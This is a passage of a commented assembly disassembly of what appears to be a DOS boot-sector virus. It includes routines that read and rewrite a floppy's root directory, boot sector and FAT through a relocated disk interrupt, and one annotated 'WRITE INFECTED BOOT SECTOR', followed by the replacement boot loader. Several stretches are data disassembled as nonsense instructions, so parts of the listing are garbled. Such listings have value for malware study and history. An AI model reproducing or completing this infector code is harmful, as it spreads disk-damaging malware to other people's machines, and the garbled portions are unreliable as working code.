;05C9 F8 RET ;05CA C3 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; PUSH CX ;05CB 51 PUSH DX ;05CC 52 MOV SI,06BE ;05CD BEBE06 MOV AL,CL ;05D0 8AC1 SHR AL,1 ;05D2 D0E8 JB ;05E4 ;05D4 720E CALL FUNCTION_1 ;BX = (CX*3)/2 MOV AX,[BX+SI] ;05D9 8B00 AND AX,F000 ;05DB 2500F0 OR AX,0FF7 ;05DE 0DF70F JMP ;05EF ;05E1 EB0C NOP ;05E3 90 CALL FUNCTION_1 ;BX = (CX*3)/2 MOV AX,[BX+SI] ;05E7 8B00 AND AX,000F ;05E9 250F00 OR AX,FF70 ;05EC 0D70FF MOV [BX+SI],AX ;05EF 8900 MOV [BX+SI+0400],AX ;05F1 89800004 POP DX ;05F5 5A POP CX ;05F6 59 RET ;05F7 C3 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; PUSH CX ;05F8 51 MOV SI,06BE ;05F9 BEBE06 MOV AL,CL ;05FC 8AC1 SHR AL,1 ;05FE D0E8 JB L060D ;0600 720B CALL FUNCTION_1 ;BX = (CX*3)/2 MOV AX,[BX+SI] ;0605 8B00 AND AX,0FFF ;0607 25FF0F JMP L0619 ;060A EB0D ; L060D: CALL FUNCTION_1 ;BX = (CX*3)/2 MOV AX,[BX+SI] ;0610 8B00 AND AX,FFF0 ;0612 25F0FF MOV CL,04 ;0615 B104 SHR AX,CL ;0617 D3E8 L0619: POP CX ;0619 59 RET ;061A C3 ; ;-----------------------------------------------------------------------; ; BX = (CX*3)/2 ; ;-----------------------------------------------------------------------; FUNCTION_1: ;061B PUSH DX ; MOV AX,3 ; MUL CX ; SHR AX,1 ; MOV BX,AX ; POP DX ; RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; READ_VERIFY: ;0627 MOV AH,2 ; CALL VERIFY_SECTORS ; RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; WRITE_VERIFY: ;062D MOV AH,03 ; CALL VERIFY_SECTORS ; RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; VERIFY_SECTORS: ;0633 MOV CX,4 ;RETRY = 4 L0636: PUSH CX ; PUSH AX ; MOV AH,0 ;REST INT 6DH ; POP AX ; JB L0653 ; MOV BX,offset L06BEH ; MOV AL,4 ;4==VERIFY MOV DH,00 ;HEAD 0 MOV DL,[0226] ;DRIVE DL MOV CX,0002 ;TRACK 0/SECTOR 2 PUSH AX ; INT 6DH ; POP AX ; JNB L065C ;IF ERROR...EXIT L0653: POP CX ; LOOP L0636 ;RETRY POP AX ; POP AX ; MOV AL,2 ;BAD ADDRESS MARK ??? STC ;RETURN ERROR RET ; ; L065C: POP CX ; RET ; ; ;-----------------------------------------------------------------------; ; CONVERT CLUSTERS TO TRACK/SECTOR/HEAD ???? ; ;-----------------------------------------------------------------------; CONVERT_1: ;065E PUSH CX ; SUB CX,2 ; SHL CX,1 ;WORD PTR ADD CX,9*2 ; (SECTORS PER CYLINDER ???) MOV AX,CX ; MOV CL,9*2 ; (SECTORS PER CYLINDER ???) DIV CL ; MOV DS:[0008],AL ;AL = TRACK MOV Byte Ptr DS:[0006],0 ;INC. HEAD INC AH ;INC. SECTOR CMP AH,9 ;IF TOO BIG... JBE L0684 ; SUB AH,9 ;...START AT ZERO MOV Byte Ptr DS:[0006],1 ;INC. HEAD L0684: MOV DS:[0007],AH ; POP CX ; RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; ADD [BX+SI],AL ;068A 0000 ADD [BX+SI],AL ;068C 0000 ADD [BX+SI],AL ;068E 0000 ADD BP,[SI+00] ;0690 036C00 ADD AX,[BP+DI] ;0693 0303 MOV SI,010E ;0695 BE0E01 ADD [BX+SI],AL ;0698 0000 ADD AX,SP ;069A 01E0 FCOMP DWord Ptr [DI+E0D7] ;069C D89DD7E0 LAHF ;06A0 9F LEA BX,[BX+SI+8E9F] ;06A1 8D989F8E LOOPNZ ;06C7 ;06A5 E020 SUB [BP+DI+29],AH ;06A7 286329 AND [BP+SI+72],AL ;06AA 204272 POPA ;06AD 61 IMUL BP,[BP+20],E824 ;06AE 696E2024E8 FILD DWord Ptr [BX+SI] ;06B3 DB00 JB L06C1 ;06B5 720A PUSH DI ;06B7 57 CALL ;06DA ;06B8 E81F00 POP DI ;06BB 5F JB L06C1 ;06BC 7203 CALL WRITE_RBF ;WRITE ROOT BOOT FAT L06C1: RET ;06C1 C3 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; MOV BX,049B ;06C2 BB9B04 MOV CX,000B ; L06C8: MOV AL,[BX] ; NEG AL ; MOV [SI],AL ; INC SI ; INC BX ; LOOP L06C8 ; ; MOV AL,08 ; MOV [SI],AL ; CLC ; RET ;06D7 C3 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; MOV Byte Ptr [06C7],91 ;06D8 C606C70691 ADD AL,6C ;06DD 046C ADD [BP+06FE],BH ;06DF 00BEFE06 MOV [0493],DX ;06E3 89169304 MOV AX,[0491] ;06E7 A19104 SHR AX,1 ;06EA D1E8 MOV [0497],AX ;06EC A39704 SHR AX,1 ;06EF D1E8 MOV [0495],AX ;06F1 A39504 XCHG AX,CX ;06F4 91 AND CL,43 ;06F5 80E143 MOV DI,[0495] ;06F8 8B3E9504 ADD DI,01E3 ;06FC 81C7E301 MOV AL,[SI] ;0700 8A04 CMP AL,00 ;0702 3C00 JZ ;071B ;0704 7415 MOV AL,[SI+0B] ;0706 8A440B AND AL,08 ;0709 2408 CMP AL,08 ;070B 3C08 JZ ;071B ;070D 740C ADD SI,+20 ;070F 83C620 DEC Word Ptr [0491] ;0712 FF0E9104 JNZ ;0700 ;0716 75E8 STC ;0718 F9 RET ;0719 C3 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; : ;071A MOV CX,[BP+DI+331D] ; PUSH DS ;071E 1E XCHG AX,DI ;071F 97 ADD AL,89 ;0720 0489 XCHG AX,DI ;0722 3697 ADD AL,FA ;0724 04FA MOV AX,SS ;0726 8CD0 MOV SS:[0493],AX ;0728 A39304 MOV [0495],SP ;072B 89269504 MOV AX,CS ;072F 8CC8 MOV SS,AX ;0731 8ED0 MOV SP,[0497] ;0733 8B269704 ADD SP,+0C ;0737 83C40C MOV CL,51 ;073A B151 ADD DX,444C ;073C 81C24C44 MOV DI,2555 ;0740 BF5525 MOV CX,0C03 ;0743 B9030C REPZ ;0746 F3 CMPSW ;0747 A7 MOV AX,0B46 ;0748 B8460B MOV CX,0003 ;074B B90300 ROL AX,CL ;074E D3C0 MOV [0497],AX ;0750 A39704 MOV CX,0005 ;0753 B90500 MOV DX,0008 ;0756 BA0800 SUB Word Ptr [0497],5210 ;0759 812E97041052 PUSH [0497] ;075F FF369704 L0763: MOV AH,[BX] ;0763 8A27 INC BX ;0765 43 MOV DL,AH ;0766 8AD4 SHL DL,1 ;0768 D0E2 JB L0763 ;076A 72F7 L076C: MOV DL,[BX] ;076C 8A17 INC BX ;076E 43 MOV AL,DL ;076F 8AC2 SHL DL,1 ;0771 D0E2 JB L076C ;0773 72F7 ADD AX,1D1D ;0775 051D1D PUSH AX ;0778 50 INC Word Ptr [0497] ;0779 FF069704 JNB L0780 ;077D 7301 JMP 268B:E1E2 ;077F EAE2E18B26 ; XCHG AX,BP ;0784 95 ADD AL,A1 ;0785 04A1 XCHG AX,BX ;0787 93 ADD AL,8E ;0788 048E SAR BL,1 ;078A D0FB ADD DH,[BP+SI] ;078C 0232 CLC ;078E F8 RET ;078F C3 ; ;-----------------------------------------------------------------------; ; READ ROOT, BOOT, FIRST FAT ; ;-----------------------------------------------------------------------; READ_RBF: ;0790 MOV Byte Ptr [0490],02 ;COMMAND = READ JMP ROOT_BOOT_FAT ;DO IT ; ;-----------------------------------------------------------------------; ; WRITE ROOT, BOOT, FIRST FAT ; ;-----------------------------------------------------------------------; WRITE_RBF: ;0798 MOV Byte Ptr [0490],03 ;COMMAND = WRITE JMP ROOT_BOOT_FAT ;DO IT ; ;-----------------------------------------------------------------------; ; READ OR WRITE ROOT, BOOT, FIRST FAT ; ;-----------------------------------------------------------------------; ROOT_BOOT_FAT: ;07A0 MOV DH,0 ;HEAD = 0 MOV DL,[226H] ;DL = DRIVE MOV CX,6 ;(TRACK 0/SECTOR 6) == ENTIRE ROOT DIR MOV AH,[490H] ;AH = COMMAND MOV AL,4 ;4 SECTORS MOV BX,6BEH ;ES:BX = DTA CALL RESET_DO_IT ;GO TO DISK JB L07C9 ;IF ERROR...EXIT ; MOV CX,1 ;(TRACK 0/SECTOR 1) == BOOT & FAT1 MOV DH,1 ;HEAD 1 MOV AH,[490H] ;AH = COMMAND MOV AL,3 ;3 SECTORS ADD BX,800H ;ES:BX = DTA CALL RESET_DO_IT ;GO TO DISK L07C9: RET ; ; ;-----------------------------------------------------------------------; ; RESET DRIVE BEFORE DOING SPECIFIED FUNCTION ; ;-----------------------------------------------------------------------; RESET_DO_IT: ;07CA MOV [0493],AX ; MOV [0495],BX ;SAVE REGs MOV [0497],CX ; MOV [0499],DX ; MOV CX,0004 ;RETRY COUNT = 4 ; RDI_10: PUSH CX ; MOV AH,00 ;REST DRIVE INT 6D ; JB RDI_80 ;IF ERROR...RETRY MOV AX,[0493] ;RESTORE REGs MOV BX,[0495] ; MOV CX,[0497] ; MOV DX,[0499] ; INT 6D ;DO SPECIFIED FUNCTION JNB RDI_90 ;IF NO ERROR...EXIT RDI_80: POP CX ; LOOP RDI_10 ;RETRY STC ;RETURN ERROR RET ; ; RDI_90: POP CX ;RETURN NO ERROR RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; ADD [BX+SI],AL ;07FD 0000 ADD [BP+DI],AL ;07FF 0003 ADD [BX+DI],AL ;0801 0001 L0804: ?!?! ADD BP,AX ;0803 03E8 DEC CX ;0805 49 STD ;0806 FD JB ;085D ;0807 7254 ; MOV Word Ptr [000A],0001 ; MOV Byte Ptr [0009],00 ; MOV BX,06BE ;ES:BX = DTA ? CALL READ_SECTORS ; ; MOV BX,06BE ;BX = DTA MOV AX,[0007] ;GET SECTOR TRACK MOV [000A],AX ;SAVE SECTOR/TRACK MOV AH,[0006] ;GET HEAD MOV [0009],AH ;SAVE HEAD CALL WRITE_SECTORS ;WRITE SECTOR(S) CALL NEXT_SECTOR ;POINT TO NEXT ; MOV CX,0005 ;CX = ??? MOV BX,0200 ;BX = DTA L0837: MOV [0600],CX ;SAVE ??? CALL WRITE_SECTORS ;WRITE SECTOR(S) CALL NEXT_SECTOR ;POINT TO NEXT ADD BX,512 ;DTA += 512 MOV CX,[0600] ;??? LOOP L0837 ;LOOP 5 TIMES ??? ; MOV Byte Ptr [0009],00 ;HEAD = 0 MOV Word Ptr [000A],0001 ;TRACK/SECTOR = 0/1 MOV BX,0000 ;DTA = INFECTED BOOT SECTOR CALL WRITE_SECTORS ;WRITE INFECTED BOOT SECTOR CLC ; RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; READ_SECTORS: ;085E MOV Word Ptr [0602H],0201H ;READ CMD/1 SECTOR JMP DO_SECTORS ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; WRITE_SECTORS: ;0867 MOV Word Ptr [0602H],0301H ;WRITE CMD/1 SECTOR JMP DO_SECTORS ; ; ;-----------------------------------------------------------------------; ; READ OR WRITE SOME SECTORS WITH A RETRY COUNT OF 4 ; ; ; ; ON ENTRY: DS:[601H] = COMMAND ; ; DS:[602H] = SECTOR COUNT ; ; DS:[226H] = DRIVE ; ; DS:[0009] = HEAD ; ; DS:[000A] = SECTOR ; ; DS:[000B] = TRACK ; ;-----------------------------------------------------------------------; DO_SECTORS: ;0870 PUSH BX ; MOV CX,4 ;RETRY COUNT = 4 ; D1S_10: PUSH CX ; MOV DH,[9] ;HEAD = 9 MOV DL,[226H] ;DRIVE MOV CX,[10] ;TRACK/SECT MOV AX,[602H] ;COMMAND/COUNT INT 6DH ;(SAME AS INT 13) JNB D1S_80 ; ; MOV AH,00 ;RESET INT 6DH ;(SAME AS INT 13) POP CX ; LOOP D1S_10 ;TRY AGAIN POP BX ; POP BX ; STC ;RETURN ERROR RET ; ; D1S_80: POP CX ;0893 59 POP BX ;0894 5B RET ;0895 C3 ; ;-----------------------------------------------------------------------; ; INC. NEXT SECTOR ; ; ON ENTRY: DS:[0009] = HEAD ; ; DS:[000A] = SECTOR ; ; DS:[000B] = TRACK ; ;-----------------------------------------------------------------------; NEXT_SECTOR: ;0896 INC Byte Ptr [10] ;SECTOR CMP Byte Ptr [10],10 ; JNZ NS_90 ; MOV Byte Ptr [10],1 ; INC Byte Ptr [9] ;HEAD CMP Byte Ptr [9],2 ; JNZ NS_90 ; MOV Byte Ptr [9],0 ; INC Byte Ptr [11] ;TRACK NS_90: RET ; ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; DB 64 ;08BB 'dtk' JZ ;091F ; ; ;---------------------------------------; JMP CONTINUE_4 ;08FA ; DB 'IBM X3.2' ;OEM NAME AND VERSION ; DW 512 ;BYTES PER SECTOR DB 2 ;SECTORS PER ALLOCATION UNIT DW 1 ;RESERVED SECTORS DB 2 ;NUMBER OF FATS DW 112 ;NUMBER OF ROOT DIR ENTRIES DW 2D0H ;SECTORS PER DISK DB 0FDH ;MEDIA ID DW 2 ;SECTORS PER FAT DW 9 ;SECTORS PER TRACK DW 2 ;NUMBER OF HEADS DW 0 ;HIDDEN SECTORS ; ;---------------------------------------; DB 0,0 DB 0,0,0,0,0,0,0,0,0,0,0,0,0,0 DB 002H,0DFH DB 002H,025H,002H,012H DB 02AH,0FFH,050H,0F6H DB 000H,002H, ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; INT 19H ;REBOOT ; L08FA: CLI ;08FA FA XOR AX,AX ;08FB 33C0 MOV ES,AX ;08FD 8EC0 MOV SS,AX ;08FF 8ED0 MOV SP,7C00 ;0901 BC007C MOV DS,AX ;0904 8ED8 MOV BX,07C0 ;0906 BBC007 MOV Word Ptr [0078],002F ;0909 C70678002F00 MOV [007A],BX ;090F 891E7A00 MOV DS,BX ;0913 8EDB MOV DX,[001E] ;0915 8B161E00 MOV [0020],DL ;0919 88162000 INT 13 ;GO TO DISK JNB ;0924 ;091F 7303 JMP ;09FC ;0921 E9D800 MOV SI,000B ;0924 BE0B00 MOV CX,[SI] ;0927 8B0C SHR CH,1 ;0929 D0ED XCHG CH,CL ;092B 86E9 MOV [002B],CX ;092D 890E2B00 MOV AL,[SI+05] ;0931 8A4405 XOR AH,AH ;0934 32E4 MUL Word Ptr [SI+0B] ;0936 F7640B ADD AX,[SI+03] ;0939 034403 ADD AX,[SI+11] ;093C 034411 MOV [0024],AX ;093F A32400 MOV BX,7E00 ;0942 BB007E CALL 0A24 ;0945 E8DC00 MOV BX,ES ;0948 8CC3 MOV AX,0070 ;094A B87000 MOV ES,AX ;094D 8EC0 MOV AX,0020 ;094F B82000 MUL Word Ptr [SI+06] ;0952 F76406 MOV CX,[SI] ;0955 8B0C ADD AX,CX ;0957 03C1 DEC AX ;0959 48 DIV CX ;095A F7F1 ADD [0024],AX ;095C 01062400 MOV CL,[002A] ;0960 8A0E2A00 MOV AX,[0024] ;0964 A12400 CALL ;0971 ;0967 E80700 PUSH ES ;096A 06 POP DS ;096B 1F JMP 0070:0000 ;096C EA00007000 ; ;HEAVY NUMBER CRUNCHING HERE ; PUSH BX ;0971 53 PUSH AX ;0972 50 MOV AL,CL ;0973 8AC1 MUL Byte Ptr [002B] ;0975 F6262B00 MOV [0029],AL ;0979 A22900 POP AX ;097C 58 MUL Word Ptr [002B] ;097D F7262B00 DIV Word Ptr [SI+0D] ;0981 F7740D INC DL ;0984 FEC2 MOV [0028],DL ;0986 88162800 PUSH DX ;098A 52 XOR DX,DX ;098B 33D2 DIV Word Ptr [SI+0F] ;098D F7740F MOV [0021],DL ;0990 88162100 MOV [0026],AX ;0994 A32600 POP DX ;0997 5A MOV CL,[0029] ;0998 8A0E2900 ADD DL,CL ;099C 02D1 MOV AX,[SI+0D] ;099E 8B440D INC AX ;09A1 40 CMP DL,AL ;09A2 3AD0 JBE ;09AC ;09A4 7606 SUB AL,[0028] ;09A6 2A062800 MOV CL,AL ;09AA 8AC8 MOV AL,CL ;09AC 8AC1 MOV DX,[0026] ;09AE 8B162600 MOV CL,06 ;09B2 B106 SHL DH,CL ;09B4 D2E6 OR DH,[0028] ;09B6 0A362800 MOV CX,DX ;09BA 8BCA XCHG CH,CL ;09BC 86E9 MOV DX,[0020] ;09BE 8B162000 MOV AH,02 ;READ SECTOR PUSH AX ; INT 13 ; POP AX ;09C7 58 JB ;09FC ;09C8 7232 SUB [0029],AL ;09CA 28062900 JBE ;09F5 ;09CE 7625 CBW ;09D0 98 MUL Word Ptr [002D] ;09D1 F7262D00 ADD BX,AX ;09D5 03D8 INC Byte Ptr [0021] ;09D7 FE062100 MOV DL,[0021] ;09DB 8A162100 CMP DL,[SI+0F] ;09DF 3A540F MOV DL,01 ;09E2 B201 MOV [0028],DL ;09E4 88162800 JB ;0998 ;09E8 72AE MOV Byte Ptr [0021],00 ;09EA C606210000 INC Word Ptr [0026] ;09EF FF062600 JMP ;0998 ;09F3 EBA3 POP BX ;09F5 5B RET ;09F6 C3 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; MOV SI,01B3 ;09F7 BEB301 JMP ;09FF ;09FA EB03 MOV SI,01C5 ;09FC BEC501 CALL L0A15 ;09FF E81300 MOV SI,01D4 ;0A02 BED401 CALL L0A15 ;0A05 E80D00 MOV AH,00 ;0A08 B400 INT 16 ;0A0A CD16 MOV AH,01 ;0A0C B401 INT 16 ;0A0E CD16 JNZ 0A0C ;0A10 75FA JMP ;08F8 ;0A12 E9E3FE ; L0A15: LODSB ;L0A15 OR AL,AL ;0A16 0AC0 JZ 0A23 ;0A18 7409 MOV AH,0E ;0A1A B40E MOV BX,0007 ;0A1C BB0700 INT 10 ;0A1F CD10 JMP L0A15 ;0A21 EBF2 RET ;0A23 C3 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; MOV CL,01 ;0A24 B101 CALL ;0971 ;0A26 E848FF PUSH SI ;0A29 56 MOV DI,BX ;0A2A 8BFB MOV AX,ES:[BX+1C] ;0A2C 268B471C XOR DX,DX ;0A30 33D2 DIV Word Ptr [SI] ;0A32 F734 INC AL ;0A34 FEC0 MOV [002A],AL ;0A36 A22A00 MOV SI,019D ;0A39 BE9D01 MOV CX,000B ;0A3C B90B00 REPZ ;0A3F F3 CMPSB ;0A40 A6 JNZ ;09F7 ;0A41 75B4 MOV AX,ES:[BX+3A] ;0A43 268B473A MOV [0022],AX ;0A47 A32200 MOV DI,BX ;0A4A 8BFB ADD DI,+20 ;0A4C 83C720 MOV SI,01A8 ;0A4F BEA801 MOV CX,000B ;0A52 B90B00 REPZ ;0A55 F3 CMPSB ;0A56 A6 JNZ ;09F7 ;0A57 759E POP SI ;0A59 5E RET ;0A5A C3 ; ;-----------------------------------------------------------------------; ; ; ;-----------------------------------------------------------------------; CODE ENDS ; END ;